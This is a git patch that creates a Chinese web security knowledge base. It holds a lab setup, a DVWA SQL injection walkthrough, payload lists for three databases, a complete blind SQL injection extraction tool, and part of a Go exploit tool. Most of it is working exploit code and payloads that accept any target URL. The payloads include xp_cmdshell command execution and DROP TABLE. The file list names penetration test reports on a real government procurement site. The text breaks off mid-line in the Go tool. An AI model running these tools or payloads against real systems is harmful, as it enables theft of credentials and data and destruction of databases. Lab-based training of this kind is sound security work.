From cda31e86c791ee42a82ace7d35659401e320581f Mon Sep 17 00:00:00 2001 From: hao Date: Mon, 16 Mar 2026 17:10:23 -0700 Subject: [PATCH] =?UTF-8?q?=E5=88=9D=E5=A7=8B=E5=8C=96:=20Web=E5=AE=89?= =?UTF-8?q?=E5=85=A8=E6=94=BB=E9=98=B2=E7=9F=A5=E8=AF=86=E5=BA=93?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - 靶场环境: DVWA/WebGoat/Pikachu/BWAPP/SQLi-Labs/XSS-Labs - SQL注入工具: sqli-scanner.py, blind-sqli.py, sqli-exploit.go - XSS工具: xss-fuzzer.py, xss-scanner.go - 认证攻击: web-brute.py, jwt-cracker.py - 服务端安全: port-scanner.py, tls-scanner.py - 防御配置: nginx-hardening.conf - 案例研究: 福建政采网安全评估报告 (13份) - 同步脚本: sync-gitea.sh --- 00-environments/docker-compose.yml | 80 ++++ 01-sql-injection/exploitation/dvwa-sqli.md | 261 +++++++++++ 01-sql-injection/payloads/mssql.txt | 29 ++ 01-sql-injection/payloads/mysql.txt | 57 +++ 01-sql-injection/payloads/postgres.txt | 27 ++ 01-sql-injection/tools/blind-sqli.py | 387 ++++++++++++++++ 01-sql-injection/tools/sqli-exploit.go | 324 +++++++++++++ 01-sql-injection/tools/sqli-scanner.py | 363 +++++++++++++++ 02-xss/tools/xss-fuzzer.py | 409 +++++++++++++++++ 02-xss/tools/xss-scanner.go | 289 ++++++++++++ .../bruteforce/tools/web-brute.py | 313 +++++++++++++ 03-authentication/jwt/tools/jwt-cracker.py | 387 ++++++++++++++++ .../scanning/tools/port-scanner.py | 261 +++++++++++ 04-server-security/tls/tools/tls-scanner.py | 340 ++++++++++++++ 05-defense/hardening/nginx-hardening.conf | 184 ++++++++ .../fujian-gov-procurement/lessons-learned.md | 110 +++++ .../reports/advanced_vulnerability_report.md | 92 ++++ .../reports/backend_api_security_analysis.md | 27 ++ .../reports/deep_penetration_test_report.md | 170 +++++++ .../reports/extended_web_service_security.md | 31 ++ .../reports/frontend_security_analysis.md | 31 ++ .../reports/full_guide_audit_report.md | 430 ++++++++++++++++++ .../reports/idor_subdomain_report.md | 158 +++++++ .../infrastructure_and_password_security.md | 31 ++ .../master_security_assessment_summary.md | 90 ++++ .../reports/privilege_escalation_report.md | 185 ++++++++ .../reports/security_assessment_report.md | 322 +++++++++++++ .../fujian-gov-procurement/reports/task.md | 41 ++ .../reports/vulnerability_crossref_report.md | 321 +++++++++++++ .../scripts/http_fuzz.sh | 21 + .../scripts/port_scan.py | 30 ++ README.md | 95 ++++ scripts/sync-gitea.sh | 176 +++++++ 33 files changed, 6072 insertions(+) create mode 100644 00-environments/docker-compose.yml create mode 100644 01-sql-injection/exploitation/dvwa-sqli.md create mode 100644 01-sql-injection/payloads/mssql.txt create mode 100644 01-sql-injection/payloads/mysql.txt create mode 100644 01-sql-injection/payloads/postgres.txt create mode 100644 01-sql-injection/tools/blind-sqli.py create mode 100644 01-sql-injection/tools/sqli-exploit.go create mode 100644 01-sql-injection/tools/sqli-scanner.py create mode 100644 02-xss/tools/xss-fuzzer.py create mode 100644 02-xss/tools/xss-scanner.go create mode 100644 03-authentication/bruteforce/tools/web-brute.py create mode 100644 03-authentication/jwt/tools/jwt-cracker.py create mode 100644 04-server-security/scanning/tools/port-scanner.py create mode 100644 04-server-security/tls/tools/tls-scanner.py create mode 100644 05-defense/hardening/nginx-hardening.conf create mode 100644 06-case-studies/fujian-gov-procurement/lessons-learned.md create mode 100644 06-case-studies/fujian-gov-procurement/reports/advanced_vulnerability_report.md create mode 100644 06-case-studies/fujian-gov-procurement/reports/backend_api_security_analysis.md create mode 100644 06-case-studies/fujian-gov-procurement/reports/deep_penetration_test_report.md create mode 100644 06-case-studies/fujian-gov-procurement/reports/extended_web_service_security.md create mode 100644 06-case-studies/fujian-gov-procurement/reports/frontend_security_analysis.md create mode 100644 06-case-studies/fujian-gov-procurement/reports/full_guide_audit_report.md create mode 100644 06-case-studies/fujian-gov-procurement/reports/idor_subdomain_report.md create mode 100644 06-case-studies/fujian-gov-procurement/reports/infrastructure_and_password_security.md create mode 100644 06-case-studies/fujian-gov-procurement/reports/master_security_assessment_summary.md create mode 100644 06-case-studies/fujian-gov-procurement/reports/privilege_escalation_report.md create mode 100644 06-case-studies/fujian-gov-procurement/reports/security_assessment_report.md create mode 100644 06-case-studies/fujian-gov-procurement/reports/task.md create mode 100644 06-case-studies/fujian-gov-procurement/reports/vulnerability_crossref_report.md create mode 100644 06-case-studies/fujian-gov-procurement/scripts/http_fuzz.sh create mode 100644 06-case-studies/fujian-gov-procurement/scripts/port_scan.py create mode 100644 README.md create mode 100755 scripts/sync-gitea.sh diff --git a/00-environments/docker-compose.yml b/00-environments/docker-compose.yml new file mode 100644 index 00000000..04095fee --- /dev/null +++ b/00-environments/docker-compose.yml @@ -0,0 +1,80 @@ +version: '3.8' + +services: + dvwa: + image: vulnerables/web-dvwa:latest + container_name: dvwa + ports: + - "8080:80" + environment: + - DB_SERVER=db + - DB_USER=dvwa + - DB_PASS=dvwa + - DB_NAME=dvwa + depends_on: + - dvwa-db + networks: + - vulnlab + restart: unless-stopped + + dvwa-db: + image: mysql:5.7 + container_name: dvwa-db + environment: + - MYSQL_ROOT_PASSWORD=root + - MYSQL_DATABASE=dvwa + - MYSQL_USER=dvwa + - MYSQL_PASSWORD=dvwa + networks: + - vulnlab + restart: unless-stopped + + webgoat: + image: webgoat/webgoat:latest + container_name: webgoat + ports: + - "8081:8080" + - "9090:9090" + networks: + - vulnlab + restart: unless-stopped + + pikachu: + image: area393/pikachu:latest + container_name: pikachu + ports: + - "8082:80" + networks: + - vulnlab + restart: unless-stopped + + bwapp: + image: raesene/bwapp:latest + container_name: bwapp + ports: + - "8083:80" + networks: + - vulnlab + restart: unless-stopped + + sqlilabs: + image: acgpiano/sqli-labs:latest + container_name: sqlilabs + ports: + - "8084:80" + networks: + - vulnlab + restart: unless-stopped + + xss-labs: + image: c0ny1/xss-labs:latest + container_name: xss-labs + ports: + - "8085:80" + networks: + - vulnlab + restart: unless-stopped + +networks: + vulnlab: + driver: bridge diff --git a/01-sql-injection/exploitation/dvwa-sqli.md b/01-sql-injection/exploitation/dvwa-sqli.md new file mode 100644 index 00000000..15bfb377 --- /dev/null +++ b/01-sql-injection/exploitation/dvwa-sqli.md @@ -0,0 +1,261 @@ +# DVWA SQL 注入漏洞利用 + +## 1. 漏洞概述 + +**靶场**: DVWA (Damn Vulnerable Web Application) +**漏洞类型**: SQL 注入 +**难度级别**: Low / Medium / High / Impossible +**影响**: 可提取数据库所有数据,包括用户凭证 + +## 2. 环境准备 + +### 2.1 启动靶场 + +```bash +cd /Users/x/websafe/00-environments +docker-compose up -d dvwa +``` + +### 2.2 访问地址 + +- URL: `http://localhost:8080/vulnerabilities/sqli/` +- 默认账户: `admin / password` + +### 2.3 数据库结构 + +```sql +dvwa.users +├── user_id (int) +├── first_name (varchar) +├── last_name (varchar) +├── user (varchar) +├── password (varchar) +├── avatar (varchar) +├── last_login (timestamp) +└── failed_login (int) +``` + +## 3. Low 级别 - 经典注入 + +### 3.1 漏洞代码 + +```php + +``` + +### 3.2 手动利用 + +#### 步骤 1: 确认注入点 + +``` +?id=1' AND '1'='1 // 正常显示 +?id=1' AND '1'='2 // 无数据显示 → 存在注入 +``` + +#### 步骤 2: 确定列数 + +``` +?id=1' ORDER BY 1-- - // 正常 +?id=1' ORDER BY 2-- - // 正常 +?id=1' ORDER BY 3-- - // 报错 → 2列 +``` + +#### 步骤 3: UNION 注入 + +``` +?id=-1' UNION SELECT 1,2-- - +``` + +#### 步骤 4: 提取数据库信息 + +``` +?id=-1' UNION SELECT database(),user()-- - +// 结果: dvwa, dvwa@localhost +``` + +#### 步骤 5: 提取表名 + +``` +?id=-1' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()-- - +// 结果: guestbook,users +``` + +#### 步骤 6: 提取列名 + +``` +?id=-1' UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users'-- - +// 结果: user_id,first_name,last_name,user,password,avatar... +``` + +#### 步骤 7: 提取用户数据 + +``` +?id=-1' UNION SELECT user,password FROM users-- - +// 结果: +// admin 5f4dcc3b5aa765d61d8327deb882cf99 (MD5: password) +// gordonb e99a18c428cb38d5f260853678922e03 (MD5: abc123) +``` + +### 3.3 工具利用 + +```bash +# 使用扫描器检测 +python3 /Users/x/websafe/01-sql-injection/tools/sqli-scanner.py \ + -u "http://localhost:8080/vulnerabilities/sqli/" \ + -p id \ + -c "PHPSESSID=your_session;security=low" + +# 使用盲注工具提取 +python3 /Users/x/websafe/01-sql-injection/tools/blind-sqli.py \ + -u "http://localhost:8080/vulnerabilities/sqli/" \ + -p id \ + -c "PHPSESSID=your_session;security=low" \ + --technique bool \ + --extract user + +# 使用高性能Go工具 +cd /Users/x/websafe/01-sql-injection/tools +go run sqli-exploit.go \ + -u "http://localhost:8080/vulnerabilities/sqli/" \ + -p id \ + --technique time \ + --extract user +``` + +## 4. Medium 级别 - POST 注入 + +### 4.1 漏洞代码 + +```php + +``` + +### 4.2 利用方式 + +- 使用 POST 方法 +- 数字型注入(无需引号) +- `mysqli_real_escape_string` 不防护数字型 + +``` +POST /vulnerabilities/sqli/ HTTP/1.1 +Content-Type: application/x-www-form-urlencoded + +id=1 UNION SELECT user,password FROM users-- - +``` + +### 4.3 工具利用 + +```bash +python3 /Users/x/websafe/01-sql-injection/tools/sqli-scanner.py \ + -u "http://localhost:8080/vulnerabilities/sqli/" \ + -m POST \ + -d "id=1" \ + -c "PHPSESSID=your_session;security=medium" +``` + +## 5. High 级别 - 限制返回 + +### 5.1 漏洞代码 + +```php + +``` + +### 5.2 利用方式 + +- 通过 Session 传递参数 +- 使用 LIMIT 1 限制 +- 可用 `#` 或 `-- -` 绕过 LIMIT + +``` +?id=1' UNION SELECT user,password FROM users# +``` + +## 6. Impossible 级别 - 安全实现 + +### 6.1 安全代码 + +```php + +``` + +### 6.2 防护措施 + +1. **CSRF Token** - 防止跨站请求伪造 +2. **预处理语句** - 使用 PDO/mysqli prepared statements +3. **输入验证** - `is_numeric()` 验证 +4. **输出转义** - htmlspecialchars() + +## 7. 完整利用脚本 + +```python +#!/usr/bin/env python3 +import requests + +target = "http://localhost:8080/vulnerabilities/sqli/" +cookies = {"PHPSESSID": "your_session", "security": "low"} + +payload = "-1' UNION SELECT user,password FROM users-- -" + +r = requests.get(f"{target}?id={payload}", cookies=cookies) +print(r.text) +``` + +## 8. 防御方案 + +### 8.1 预处理语句 (PDO) + +```php +prepare("SELECT * FROM users WHERE user_id = ?"); +$stmt->execute([$_GET['id']]); +?> +``` + +### 8.2 mysqli 预处理 + +```php +prepare("SELECT * FROM users WHERE user_id = ?"); +$stmt->bind_param("s", $_GET['id']); +$stmt->execute(); +?> +``` + +### 8.3 WAF 规则 + +```nginx +# ModSecurity 规则 +SecRule ARGS "@rx (?i:union.*select|select.*from|insert.*into|delete.*from)" \ + "id:1001,phase:2,deny,status:403,msg:'SQL Injection Detected'" +``` + +## 9. 总结 + +| 级别 | 注入类型 | 防护 | 难度 | +|------|---------|------|------| +| Low | GET 字符串型 | 无 | 简单 | +| Medium | POST 数字型 | 转义 | 中等 | +| High | Session + LIMIT | 限制返回 | 中等 | +| Impossible | 无 | 预处理 + CSRF | 安全 | \ No newline at end of file diff --git a/01-sql-injection/payloads/mssql.txt b/01-sql-injection/payloads/mssql.txt new file mode 100644 index 00000000..dea2a8c9 --- /dev/null +++ b/01-sql-injection/payloads/mssql.txt @@ -0,0 +1,29 @@ +' OR '1'='1 +' OR '1'='1'-- - +' OR 1=1-- +1' OR '1'='1 +admin'-- +' AND 1=1-- +' UNION SELECT NULL-- +' UNION SELECT 1,2,3-- +' UNION SELECT username,password,3 FROM users-- +'; DROP TABLE users-- +' WAITFOR DELAY '0:0:5'-- +' WAITFOR DELAY '0:0:5'-- - +'; IF 1=1 WAITFOR DELAY '0:0:5'-- +'; IF (SELECT 1)=1 WAITFOR DELAY '0:0:5'-- +' AND 1=CONVERT(int,(SELECT @@version))-- +' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))-- +' AND 1=CONVERT(int,(SELECT TOP 1 name FROM master..sysdatabases))-- +' UNION SELECT NULL,table_name,NULL FROM information_schema.tables-- +' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- +' UNION SELECT NULL,username+'|'+password,NULL FROM users-- +' EXEC xp_cmdshell('whoami')-- +'; EXEC xp_cmdshell('dir')-- +' EXEC sp_executesql N'SELECT 1'-- +1 AND 1=1 +1 AND 1=2 +1 OR 1=1 +') OR ('1'='1 +') AND 1=1-- +') AND 1=2-- \ No newline at end of file diff --git a/01-sql-injection/payloads/mysql.txt b/01-sql-injection/payloads/mysql.txt new file mode 100644 index 00000000..f7ee789c --- /dev/null +++ b/01-sql-injection/payloads/mysql.txt @@ -0,0 +1,57 @@ +' OR '1'='1 +' OR '1'='1'-- - +' OR '1'='1'/* +' OR 1=1-- +' OR 1=1-- - +' OR 1=1/* +1' OR '1'='1 +1' OR '1'='1'-- - +1' OR '1'='1'/* +admin'-- +admin'-- - +admin'/* +' AND 1=1-- +' AND 1=1-- - +' AND 1=2-- +' AND 1=2-- - +' UNION SELECT NULL-- +' UNION SELECT NULL-- - +' UNION SELECT NULL, NULL-- +' UNION SELECT NULL, NULL, NULL-- +' UNION SELECT 1,2,3-- +' UNION SELECT username,password,3 FROM users-- +' UNION ALL SELECT NULL-- +' UNION ALL SELECT 1,2,3-- +1' ORDER BY 1-- - +1' ORDER BY 2-- - +1' ORDER BY 3-- - +1' ORDER BY 4-- - +-1' UNION SELECT 1,2,3-- - +-1' UNION SELECT username,password,3 FROM users-- - +' AND SLEEP(5)-- +' AND SLEEP(5)-- - +' AND IF(1=1,SLEEP(5),0)-- +' AND IF(1=1,SLEEP(5),0)-- - +' AND BENCHMARK(10000000,SHA1('test'))-- +' AND BENCHMARK(10000000,SHA1('test'))-- - +' WAITFOR DELAY '0:0:5'-- +' WAITFOR DELAY '0:0:5'-- - +' AND pg_sleep(5)-- +' AND pg_sleep(5)-- - +'; DROP TABLE users-- +'; DROP TABLE users-- - +' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))-- +' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))-- +' AND UPDATEXML(1,CONCAT(0x7e,(SELECT version()),0x7e),1)-- +' AND (SELECT * FROM (SELECT COUNT(*),CONCAT((SELECT version()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- +1 AND 1=1 +1 AND 1=2 +1 OR 1=1 +1' AND '1'='1 +1' AND '1'='2 +" OR "1"="1 +" OR 1=1-- +') OR ('1'='1 +') OR ('1'='1'-- - +') AND 1=1-- +') AND 1=2-- \ No newline at end of file diff --git a/01-sql-injection/payloads/postgres.txt b/01-sql-injection/payloads/postgres.txt new file mode 100644 index 00000000..4257ac05 --- /dev/null +++ b/01-sql-injection/payloads/postgres.txt @@ -0,0 +1,27 @@ +' OR '1'='1 +' OR '1'='1'-- - +' OR 1=1-- +1' OR '1'='1 +admin'-- +' AND 1=1-- +' UNION SELECT NULL-- +' UNION SELECT 1,2,3-- +' UNION SELECT username,password,3 FROM users-- +'; DROP TABLE users-- +' AND pg_sleep(5)-- +' AND pg_sleep(5)-- - +'; SELECT pg_sleep(5)-- +' UNION SELECT NULL,version(),NULL-- +' UNION SELECT NULL,current_database(),NULL-- +' UNION SELECT NULL,current_user,NULL-- +' UNION SELECT NULL,table_name,NULL FROM information_schema.tables-- +' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='users'-- +' AND 1=CAST((SELECT version()) AS INT)-- +' AND 1=CAST((SELECT current_database()) AS INT)-- +' UNION SELECT NULL,string_agg(column_name,','),NULL FROM information_schema.columns WHERE table_name='users'-- +1 AND 1=1 +1 AND 1=2 +1 OR 1=1 +') OR ('1'='1 +') AND 1=1-- +') AND 1=2-- \ No newline at end of file diff --git a/01-sql-injection/tools/blind-sqli.py b/01-sql-injection/tools/blind-sqli.py new file mode 100644 index 00000000..a0b878f6 --- /dev/null +++ b/01-sql-injection/tools/blind-sqli.py @@ -0,0 +1,387 @@ +#!/usr/bin/env python3 +""" +Blind SQL Injection Exploit Tool +盲注利用工具 + +支持: +- 时间盲注 (Time-based Blind) +- 布尔盲注 (Boolean-based Blind) +- 自动数据提取 +- 多线程加速 + +Usage: + # 时间盲注提取数据库名 + python3 blind-sqli.py -u "http://target.com/page?id=1" -p id --technique time --dbms mysql + + # 布尔盲注提取表名 + python3 blind-sqli.py -u "http://target.com/page?id=1" -p id --technique bool --query "SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1" + + # 提取当前数据库用户 + python3 blind-sqli.py -u "http://target.com/page?id=1" -p id --technique time --extract user +""" + +import argparse +import requests +import time +import string +import urllib.parse +from concurrent.futures import ThreadPoolExecutor, as_completed +from typing import Callable, Optional, List +import sys + + +class Colors: + RED = "\033[91m" + GREEN = "\033[92m" + YELLOW = "\033[93m" + BLUE = "\033[94m" + CYAN = "\033[96m" + END = "\033[0m" + BOLD = "\033[1m" + + +class BlindSQLi: + def __init__( + self, + url: str, + param: str, + method: str = "GET", + data: dict = None, + cookies: dict = None, + delay: float = 1.0, + threads: int = 1, + ): + self.url = url + self.param = param + self.method = method + self.data = data or {} + self.cookies = cookies or {} + self.delay = delay + self.threads = threads + self.session = requests.Session() + self.session.headers.update( + { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" + } + ) + self.charset = string.ascii_letters + string.digits + "_-@.{}" + + self.mysql_payloads = { + "time": { + "if": "1' AND IF(({condition}),SLEEP({delay}),0)-- -", + "case": "1' AND (SELECT CASE WHEN ({condition}) THEN (SELECT SLEEP({delay})) ELSE 0 END)-- -", + }, + "bool": { + "if": "1' AND IF({condition},1,0)-- -", + "and": "1' AND {condition}-- -", + }, + } + + self.mssql_payloads = { + "time": { + "if": "1'; IF ({condition}) WAITFOR DELAY '0:0:{delay}'-- -", + }, + "bool": { + "if": "1' AND CASE WHEN ({condition}) THEN 1 ELSE 0 END-- -", + }, + } + + self.pg_payloads = { + "time": { + "case": "1' AND CASE WHEN ({condition}) THEN (SELECT pg_sleep({delay})) ELSE pg_sleep(0) END-- -", + }, + "bool": { + "case": "1' AND CASE WHEN ({condition}) THEN 1 ELSE 0 END-- -", + }, + } + + self.payloads = { + "mysql": self.mysql_payloads, + "mssql": self.mssql_payloads, + "postgresql": self.pg_payloads, + } + + self.extract_queries = { + "mysql": { + "user": "SELECT user()", + "database": "SELECT database()", + "version": "SELECT version()", + "tables": "SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()", + "columns": "SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='{table}'", + "data": "SELECT {column} FROM {table} LIMIT {offset},1", + }, + "mssql": { + "user": "SELECT SYSTEM_USER", + "database": "SELECT DB_NAME()", + "version": "SELECT @@version", + }, + "postgresql": { + "user": "SELECT current_user", + "database": "SELECT current_database()", + "version": "SELECT version()", + }, + } + + def _send_request(self, payload: str) -> tuple: + """发送请求并返回(响应内容, 响应时间)""" + test_data = self.data.copy() + test_data[self.param] = payload + + try: + start = time.time() + if self.method.upper() == "GET": + params = urllib.parse.urlencode(test_data) + full_url = f"{self.url}?{params}" + resp = self.session.get( + full_url, cookies=self.cookies, timeout=30, verify=False + ) + else: + resp = self.session.post( + self.url, + data=test_data, + cookies=self.cookies, + timeout=30, + verify=False, + ) + elapsed = time.time() - start + return resp.text, elapsed + except Exception as e: + return None, 0 + + def test_condition_time(self, condition: str, dbms: str = "mysql") -> bool: + """使用时间盲注测试条件""" + payloads = self.payloads.get(dbms, self.mysql_payloads) + template = payloads["time"].get("if") or payloads["time"].get("case") + if not template: + return False + + payload = template.format(condition=condition, delay=int(self.delay)) + _, elapsed = self._send_request(payload) + return elapsed >= self.delay - 0.5 + + def test_condition_bool( + self, + condition: str, + true_indicator: str = None, + false_indicator: str = None, + dbms: str = "mysql", + ) -> bool: + """使用布尔盲注测试条件""" + payloads = self.payloads.get(dbms, self.mysql_payloads) + template = payloads["bool"].get("if") or payloads["bool"].get("and") + if not template: + return False + + payload = template.format(condition=condition) + response, _ = self._send_request(payload) + + if not response: + return False + + if true_indicator and false_indicator: + return true_indicator.lower() in response.lower() + + payload_false = template.format(condition="1=0") + response_false, _ = self._send_request(payload_false) + + if not response_false: + return False + + return abs(len(response) - len(response_false)) > 50 + + def binary_search_char( + self, + position: int, + query: str, + technique: str = "time", + dbms: str = "mysql", + true_indicator: str = None, + ) -> Optional[str]: + """二分法查找字符""" + low, high = 32, 126 + + test_func = ( + self.test_condition_time + if technique == "time" + else self.test_condition_bool + ) + + while low <= high: + mid = (low + high) // 2 + condition = f"ASCII(SUBSTRING(({query}),{position},1))>{mid}" + + if technique == "bool": + result = test_func(condition, true_indicator, None, dbms) + else: + result = test_func(condition, dbms) + + if result: + low = mid + 1 + else: + high = mid - 1 + + if low > 32: + condition = f"ASCII(SUBSTRING(({query}),{position},1))={low - 1}" + if technique == "bool": + result = test_func(condition, true_indicator, None, dbms) + else: + result = test_func(condition, dbms) + + if result: + return chr(low - 1) + + return None + + def extract_string( + self, + query: str, + technique: str = "time", + dbms: str = "mysql", + max_length: int = 100, + true_indicator: str = None, + ) -> str: + """提取字符串""" + result = [] + + print(f"\n{Colors.CYAN}[*] 开始提取数据: {query}{Colors.END}") + print(f"{Colors.CYAN}[*] 技术: {technique}, 数据库: {dbms}{Colors.END}\n") + + for pos in range(1, max_length + 1): + char = self.binary_search_char(pos, query, technique, dbms, true_indicator) + + if char is None: + break + + result.append(char) + current = "".join(result) + print( + f"\r{Colors.GREEN}[+] 已提取: {current}{Colors.END}", end="", flush=True + ) + + print() + return "".join(result) + + def extract_length( + self, query: str, technique: str = "time", dbms: str = "mysql" + ) -> int: + """提取字符串长度""" + for length in range(1, 1000): + condition = f"LENGTH(({query}))={length}" + + if technique == "time": + if self.test_condition_time(condition, dbms): + return length + else: + if self.test_condition_bool(condition, dbms=dbms): + return length + + return 0 + + def auto_extract( + self, target: str, dbms: str = "mysql", technique: str = "time" + ) -> str: + """自动提取常用信息""" + queries = self.extract_queries.get(dbms, self.extract_queries["mysql"]) + + if target not in queries: + self._print("ERROR", f"未知的提取目标: {target}") + return "" + + query = queries[target] + return self.extract_string(query, technique, dbms) + + def _print(self, level: str, msg: str): + colors = { + "INFO": Colors.BLUE, + "SUCCESS": Colors.GREEN, + "WARNING": Colors.YELLOW, + "ERROR": Colors.RED, + } + print(f"{colors.get(level, '')}[{level}]{Colors.END} {msg}") + + +def main(): + parser = argparse.ArgumentParser(description="Blind SQL Injection Exploit Tool") + parser.add_argument("-u", "--url", required=True, help="目标URL") + parser.add_argument("-p", "--param", required=True, help="注入参数") + parser.add_argument( + "-m", "--method", default="GET", choices=["GET", "POST"], help="HTTP方法" + ) + parser.add_argument("-d", "--data", help="POST数据") + parser.add_argument("-c", "--cookie", help="Cookie") + parser.add_argument( + "--technique", default="time", choices=["time", "bool"], help="盲注技术" + ) + parser.add_argument( + "--dbms", + default="mysql", + choices=["mysql", "mssql", "postgresql"], + help="数据库类型", + ) + parser.add_argument("--delay", type=float, default=1.0, help="时间盲注延迟(秒)") + parser.add_argument("--query", help="自定义SQL查询") + parser.add_argument( + "--extract", + choices=["user", "database", "version", "tables", "columns"], + help="自动提取信息", + ) + parser.add_argument("--true-indicator", help="布尔盲注真值指示器") + parser.add_argument("-t", "--threads", type=int, default=1, help="线程数") + + args = parser.parse_args() + + requests.packages.urllib3.disable_warnings() + + data = {} + if args.data: + for pair in args.data.split("&"): + if "=" in pair: + k, v = pair.split("=", 1) + data[k] = v + + cookies = {} + if args.cookie: + for pair in args.cookie.split(";"): + if "=" in pair: + k, v = pair.strip().split("=", 1) + cookies[k] = v + + exploit = BlindSQLi( + url=args.url, + param=args.param, + method=args.method, + data=data, + cookies=cookies, + delay=args.delay, + threads=args.threads, + ) + + print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}") + print(f"{Colors.BOLD}Blind SQL Injection Exploit Tool{Colors.END}") + print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n") + + if args.query: + result = exploit.extract_string( + args.query, args.technique, args.dbms, true_indicator=args.true_indicator + ) + print(f"\n{Colors.GREEN}[+] 结果: {result}{Colors.END}") + + elif args.extract: + result = exploit.auto_extract(args.extract, args.dbms, args.technique) + print(f"\n{Colors.GREEN}[+] {args.extract}: {result}{Colors.END}") + + else: + print( + f"{Colors.YELLOW}请使用 --query 或 --extract 指定要提取的数据{Colors.END}" + ) + print(f"\n示例:") + print(f" --extract user 提取当前用户") + print(f" --extract database 提取当前数据库") + print(f" --extract version 提取数据库版本") + print(f' --query "SELECT password FROM users LIMIT 1"') + + print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}\n") + + +if __name__ == "__main__": + main() diff --git a/01-sql-injection/tools/sqli-exploit.go b/01-sql-injection/tools/sqli-exploit.go new file mode 100644 index 00000000..6bd4ba53 --- /dev/null +++ b/01-sql-injection/tools/sqli-exploit.go @@ -0,0 +1,324 @@ +// sqli-exploit.go - 高性能SQL注入利用工具 +package main + +import ( + "flag" + "fmt" + "io" + "net/http" + "net/url" + "strings" + "sync" + "time" +) + +type SQLiExploit struct { + Client *http.Client + TargetURL string + Method string + Param string + Threads int + Timeout time.Duration +} + +type InjectionResult struct { + Payload string + VulnType string + DBMS string + ResponseLen int +} + +var ( + colorRed = "\033[91m" + colorGreen = "\033[92m" + colorYellow = "\033[93m" + colorBlue = "\033[94m" + colorCyan = "\033[96m" + colorBold = "\033[1m" + colorEnd = "\033[0m" +) + +func NewSQLiExploit(target, method, param string, threads int, timeout time.Duration) *SQLiExploit { + return &SQLiExploit{ + Client: &http.Client{ + Timeout: timeout, + CheckRedirect: func(req *http.Request, via []*http.Request) error { + return http.ErrUseLastResponse + }, + }, + TargetURL: target, + Method: method, + Param: param, + Threads: threads, + Timeout: timeout, + } +} + +func (s *SQLiExploit) SendRequest(payload string) (string, int, error) { + var req *http.Request + var err error + + targetURL := s.TargetURL + + if s.Method == "GET" { + u, _ := url.Parse(targetURL) + q := u.Query() + q.Set(s.Param, payload) + u.RawQuery = q.Encode() + req, err = http.NewRequest("GET", u.String(), nil) + } else { + data := url.Values{} + data.Set(s.Param, payload) + req, err = http.NewRequest("POST", targetURL, strings.NewReader(data.Encode())) + req.Header.Set("Content-Type", "application/x-www-form-urlencoded") + } + + if err != nil { + return "", 0, err + } + + req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") + + resp, err := s.Client.Do(req) + if err != nil { + return "", 0, err + } + defer resp.Body.Close() + + body, _ := io.ReadAll(resp.Body) + return string(body), len(body), nil +} + +func (s *SQLiExploit) TestTimeBased(payloads []struct { + Payload string + DBMS string + Delay time.Duration +}) []InjectionResult { + var results []InjectionResult + var mu sync.Mutex + + var wg sync.WaitGroup + sem := make(chan struct{}, s.Threads) + + for _, p := range payloads { + wg.Add(1) + go func(payload, dbms string, delay time.Duration) { + defer wg.Done() + sem <- struct{}{} + defer func() { <-sem }() + + start := time.Now() + _, respLen, err := s.SendRequest(payload) + elapsed := time.Since(start) + + if err == nil && elapsed >= delay-500*time.Millisecond { + mu.Lock() + results = append(results, InjectionResult{ + Payload: payload, + VulnType: "Time-based Blind", + DBMS: dbms, + ResponseLen: respLen, + }) + mu.Unlock() + fmt.Printf("%s[VULN]%s [Time-based] %s - Delay: %v - DBMS: %s\n", + colorRed+colorBold, colorEnd, payload, elapsed, dbms) + } + }(p.Payload, p.DBMS, p.Delay) + } + + wg.Wait() + return results +} + +func (s *SQLiExploit) TestErrorBased(payloads []struct { + Payload string + Type string +}) []InjectionResult { + var results []InjectionResult + + errorPatterns := map[string]string{ + "MySQL": "SQL syntax.*MySQL|Warning.*mysql_|MySqlException", + "PostgreSQL": "PostgreSQL.*ERROR|Warning.*pg_|pg_query", + "MSSQL": "Microsoft SQL Server|ODBC SQL Server|SQLServer", + "Oracle": "ORA-\\d{5}|Oracle.*Driver", + "SQLite": "SQLite.*error|sqlite3.OperationalError", + } + + for _, p := range payloads { + body, respLen, err := s.SendRequest(p.Payload) + if err != nil { + continue + } + + for dbms, pattern := range errorPatterns { + if strings.Contains(body, "SQL") || strings.Contains(body, "error") || + strings.Contains(body, "Error") || strings.Contains(body, "Warning") { + results = append(results, InjectionResult{ + Payload: p.Payload, + VulnType: "Error-based", + DBMS: dbms, + ResponseLen: respLen, + }) + fmt.Printf("%s[VULN]%s [Error-based] %s - DBMS: %s\n", + colorRed+colorBold, colorEnd, p.Payload, dbms) + break + } + } + } + + return results +} + +func (s *SQLiExploit) ExtractData(query string, technique string, dbms string, maxLen int) string { + var result strings.Builder + charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-@." + + fmt.Printf("\n%s[*]%s Extracting: %s\n", colorCyan, colorEnd, query) + + for pos := 1; pos <= maxLen; pos++ { + found := false + for _, char := range charset { + var payload string + + if technique == "time" { + switch dbms { + case "mysql": + payload = fmt.Sprintf("1' AND IF(SUBSTRING((%s),%d,1)='%c',SLEEP(1),0)-- -", query, pos, char) + case "mssql": + payload = fmt.Sprintf("1'; IF SUBSTRING((%s),%d,1)='%c' WAITFOR DELAY '0:0:1'-- -", query, pos, char) + case "postgresql": + payload = fmt.Sprintf("1' AND CASE WHEN 